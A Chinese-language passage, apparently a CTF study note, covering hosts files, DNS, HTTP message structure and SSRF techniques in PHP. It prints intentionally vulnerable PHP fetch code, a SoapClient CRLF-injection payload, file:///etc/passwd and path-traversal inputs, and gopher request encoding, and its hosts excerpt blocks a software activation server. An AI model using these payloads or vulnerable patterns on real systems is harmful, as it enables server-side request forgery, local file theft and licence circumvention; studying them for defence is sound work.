# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host

# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost
# ::1 localhost
219.217.199.8 earth.local terratest.earth.local
10.110.110.250 vpn.misakanetworks.cf
# Added by Docker Desktop
192.168.1.8 host.docker.internal
192.168.1.8 gateway.docker.internal
# To allow the same kube context to work on the host and the container:
127.0.0.1 kubernetes.docker.internal
# End of section
127.0.0.1 activate.navicat.com

我们可以手动给一个Ip取一个好听的名字然后用这个名字访问,只需要按照host文件的格式在下面添加就行了

DNS

使用host是无法记住所有ip的,数据量太大了,而且日常上网也并不需要记住所有的ip,DNS就这样诞生了…

域名系统(英语:Domain Name System,缩写:DNS)

它作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。DNS使用TCP和UDP端口53

HTTP协议

HTTP请求结构

HTTP请求报文由3部分组成(请求行+请求头部+请求正文)

  • 请求行

    请求行: 是由 请求字段、URL字段、HTTP协议版本字段 三个字段组成,他们用空格分隔,例如:GET/material/index HTTP/1.1\r\n根据HTTP标准,HTTP请求可以使用多种请求方法

    HTTP1.0定义了三种请求方法:GET,POST,HEAD方法。HTTP1.1新增了五种请求方法:OPTIONS,PUT,DELETE,TRACE,CONNECT方法

  • 请求头部

    请求头部: HTTP客户程序(例如浏览器),向服务器发送请求的时候必须指明请求类型(一般是GET或者 POST),如有必要,客户程序还可以选择发送其他的请求头。大多数请求头并不是必需的,但Content-Length除外,对于POST请求来说 Content-Length必须出现

    请求报头通知服务器关于客户端求求的信息,典型的请求头有:

  • 空行

    他的作用是告诉服务器 请求头部信息到此为止

  • 请求正文

    若方法是 GET,则该项为空。(数据都在url 地址栏里面)
    若方法是 post 字段,则通常放置的是要 提交的数据

HTTP响应结构:

HTTP的响应报文是由( 状态行、响应头部、响应正文) 三部分组成

  • 响应行

    响应行: 描述了响应的状态,一般由协议版本、状态码及其描述组成 比如 HTTP/1.1200OK\r\n,其中协议版本HTTP/1.1或者HTTP/1.0,200就是它的状态码,OK则为它的描述。

五种可能的取值:

常见状态码:

响应头部

响应头部: 用于描述服务器的基本信息,以及数据的描述,服务器通过这些数据的描述信息,可以通知客户端如何处理等一会儿它回送的数据。

  • 响应体

响应体就是响应的消息体,它包含了响应的内容。它可以包含HTML代码,图片,等等。主体是由传输在HTTP消息中紧跟在头部后面的数据字节组成的。

SSRF中的常用协议

HTTP协议

curl_exec()

curl_init(url)函数初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。

1
2
3
4
5
6
7
8
9
<?php 
$url=$_POST['url'];
$ch=curl_init($url); //创造一个curl资源
curl_setopt($ch, CURLOPT_HEADER, 0); //设置url和相应的选项
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch); // 抓取url并将其传递给浏览器
curl_close($ch); //关闭curl资源
echo ($result);
?>

fsockopen()

fsockopen($hostname,$port,$errno,$errstr,$timeout)用于打开一个网络连接或者一个Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定url数据的获取。该函数会使用socket跟服务器建立tcp连接,进行传输原始数据。 fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回false。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>

可以看到,这个协议是一个比较底层的协议,从TCP手动构造一个http的请求,在这里出现了\r\n,这代表什么呢?

CRLF和LF

CR(回车\r),LF(换行\n)。

CR和LF是缩写,其实他们的全称分别是:”Carriage-Return”和”Line-Feed”。追本溯源的说,CR(Carriage-Return)和LF(Line-Feed)这两个词来源于打字机的发明和使用。

在很久以前的机械打字机时代,CR和LF分别具有不同的作用:LF会将打印纸张上移一行位置,但是保持当前打字的水平位置不变;CR则会将“Carriage”(打字机上的滚动托架)滚回到打印纸张的最左侧,但是保持当前打字的垂直位置不变,即还是在同一行。

当CR和LF组合使用时,则会将打印纸张上移一行,且下一个打字位置将回到该行的最左侧,也就是我们今天所理解的换行操作。

虽然现在机械打字机渐渐地退出了历史舞台。但是回车换行在计算机操作系统中确实必要的,而在计算机中回车换行实则为同样的结果,不再像打字机那样了,计算机的回车换行都是切换到下一行的行首位置了。在操作系统出现的年代,一些操作系统的设计者决定采用单个字符来表示换行符(也许是受限于内存和软盘空间的不足),如Unix的LF、MacIntosh的CR;但是想windows则是使用两个字符表示。他们的意图都是为了进行换行操作,只是当初并没有一个国际标准,所以才有这样字符上的不同。

在http中,则是用\r\n来表示换行

SoapClient

SOAP是简单对象访问协议,简单对象访问协议(Simple Object Access Protocol)是一种轻量的、简单的、基于 XML 的协议,它被设计成在 WEB 上交换结构化的和固化的信息。PHP 的 SoapClient 就是可以基于SOAP协议可专门用来访问 WEB 服务的 PHP 客户端。

这里有个Trick

正常情况下的SoapClient类,调用一个不存在的函数,会去调用__call方法

1
2
3
4
5
6
<?php
$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://127.0.0.1:5555/path'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();

基于刚才讲到的CRLF,则可以做到手动构造任意请求,

1
2
3
4
5
6
7
8
<?php
$target = "http://127.0.0.1:9999/flag.php";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "byc\r\nCookie: PHPSESSID=g6ooseaeo905j0q4b9qqn2n471\r\n",
'uri' => "123"));
$payload -> not_exists_function();
?>

File协议

file协议其实类似于任意文件读取,比如file:///etc/passwd

还是刚才那段代码

1
2
3
4
5
6
7
8
9
<?php 
$url=$_POST['url'];
$ch=curl_init($url); //创造一个curl资源
curl_setopt($ch, CURLOPT_HEADER, 0); //设置url和相应的选项
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch); // 抓取url并将其传递给浏览器
curl_close($ch); //关闭curl资源
echo ($result);
?>

file_get_contents() & readfile()

1
2
3
4
<?php
$url = $_GET['url'];
echo file_get_contents($url);
?>

file_get_contents() 函数将整个文件或一个url所指向的文件读入一个字符串中,并展示给用户,我们可以传入一个url连接访问,也可以构造类似?url=../../../../../etc/passwd的paylaod即可读取服务器本地的任意文件

gopher

gopher协议是一个古老且强大的协议,可以理解为是http协议的前身,他可以实现多个数据包整合发送。通过gopher协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。

很多时候在SSRF下,我们无法通过HTTP协议来传递POST数据,这时候就需要用到gopher协议来发起POST请求了。

gopher的协议格式如下:

1
2
3
gopher://<host>:<port>/<gopher-path>_<TCP数据流>
<port>默认为70
发起多条请求每条要用回车换行去隔开使用%0d%0a隔开,如果多个参数,参数之间的&也需要进行URL编码

看起来有点像阉割版的nc,不过gopher会把传入的第一个字符给吞掉了,左边传入的是123456789,右边接收到的则是23456789

在知道以上特性之后,便可以利用gopher协议来构造任意http请求了

比如:

1
2
3
GET /ssrf.php HTTP/1.1\r\n
Host: 127.0.0.1\r\n
\r\n

将其url编码一下

1
%47%45%54%20%2f%73%73%72%66%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%0d%0a


 web
  

:D 一言句子获取中...